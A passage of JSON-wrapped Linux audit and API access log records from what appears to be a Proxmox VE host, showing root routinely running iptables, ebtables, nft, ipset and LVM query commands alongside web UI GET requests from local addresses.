a4=\"show\""} {"@timestamp":1781965804377,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965804.377:67163): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.821:66037): arch=c000003e syscall=59 success=yes exit=0 a0=634a6f4a8e90 a1=634a6f4a5c10 a2=634a6f487680 a3=5 items=2 ppid=63421 pid=63427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964881698,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965785764,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.764:67106): argc=1 a0=\"date\""} {"@timestamp":1781964174757,"@rawstring":"node=pve type=EXECVE msg=audit(1781964174.757:59893): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965804366,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965804.366:67160): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.803:66036): arch=c000003e syscall=59 success=yes exit=0 a0=634a3cbe1ac8 a1=7ffdbeeb6130 a2=634a6f487680 a3=634a3cbc524e items=2 ppid=63421 pid=63423 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964880709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:40 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965785760,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.760:67104): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964174729,"@rawstring":"node=pve type=EXECVE msg=audit(1781964174.729:59892): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965799360,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965799.360:67157): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.800:66035): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdbeeb60f0 a1=634a6f48e310 a2=634a6f487680 a3=5 items=2 ppid=63421 pid=63422 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964880709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965785751,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.751:67103): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964173184,"@rawstring":"node=pve type=EXECVE msg=audit(1781964173.184:59891): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965799352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965799.352:67154): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535788,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.788:66033): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63421 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964879696,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965785742,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.742:67102): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964173176,"@rawstring":"node=pve type=EXECVE msg=audit(1781964173.176:59888): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965468110,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965468.110:65746): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535774,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.774:66032): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63420 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964878476,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965785732,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.732:67101): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964168165,"@rawstring":"node=pve type=EXECVE msg=audit(1781964168.165:59885): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965468102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965468.102:65743): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.752:66031): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63419 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964878476,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:37 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965785723,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.723:67100): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964168157,"@rawstring":"node=pve type=EXECVE msg=audit(1781964168.157:59882): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965465330,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.330:65740): arch=c000003e syscall=59 success=yes exit=0 a0=6520fbe69b20 a1=6520fbe75a30 a2=6520fbe43680 a3=5 items=2 ppid=63140 pid=63146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.724:66030): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964876670,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965785714,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.714:67098): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964166092,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.092:59879): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965465321,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.321:65739): arch=c000003e syscall=59 success=yes exit=0 a0=6520da928ac8 a1=7ffc98a32710 a2=6520fbe43680 a3=6520da90c24e items=2 ppid=63140 pid=63142 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.689:66029): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964876670,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 846"} {"@timestamp":1781965785705,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.705:67097): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964166084,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.084:59878): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965465321,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.321:65738): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc98a326d0 a1=6520fbe651c0 a2=6520fbe43680 a3=5 items=2 ppid=63140 pid=63141 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535672,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.672:66028): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=63462dffa740 items=0 ppid=1156 pid=63416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964875446,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781965785696,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.696:67096): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964166084,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.084:59877): argc=1 a0=\"date\""} {"@timestamp":1781965465317,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.317:65736): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63140 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535666,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.666:66027): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ecd10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964875446,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965785687,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.687:67095): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964166080,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.080:59875): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965465309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.309:65735): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63139 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.639:66026): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f0be0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964875446,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965785676,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.676:67094): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964166074,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.074:59874): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965465303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.303:65734): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.620:66025): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed270 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964872649,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781965785667,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.667:67093): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964166067,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.067:59873): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965465297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.297:65733): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.601:66024): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139e10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964871645,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965785654,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.654:67092): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964166060,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.060:59872): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965465291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.291:65732): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63136 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535589,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.589:66023): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136250 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964871645,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965785642,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.642:67091): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964166053,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.053:59871): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965465287,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.287:65731): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=63db45ded740 items=0 ppid=1156 pid=63135 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965535578,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.578:66022): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b3b0e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964871645,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965785635,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.635:67090): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964166048,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.048:59869): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965465285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.285:65730): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1387b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63135 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.566:66021): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63410 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964870630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781965785624,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.624:67089): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964166044,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.044:59868): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965465281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.281:65729): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148c50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535543,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.543:66020): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63409 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964869309,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965785623,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.623:67088): argc=1 a0=\"date\""} {"@timestamp":1781964166039,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.039:59867): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965465275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.275:65728): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138750 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63133 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.536:66019): arch=c000003e syscall=59 success=yes exit=0 a0=5de1118b7e90 a1=5de1118b4c10 a2=5de111896680 a3=5 items=2 ppid=63402 pid=63408 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964869309,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965785618,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.618:67086): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964166033,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.033:59866): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965465271,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.271:65727): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c000 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63132 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535528,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.528:66018): arch=c000003e syscall=59 success=yes exit=0 a0=5de0e4133ac8 a1=7ffe803d68c0 a2=5de111896680 a3=5de0e411724e items=2 ppid=63402 pid=63404 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964867711,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1075"} {"@timestamp":1781965785610,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.610:67085): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964166028,"@rawstring":"node=pve type=EXECVE msg=audit(1781964166.028:59865): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965465265,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.265:65726): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138750 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63131 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965535.525:66017): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe803d6880 a1=5de11189d310 a2=5de111896680 a3=5 items=2 ppid=63402 pid=63403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 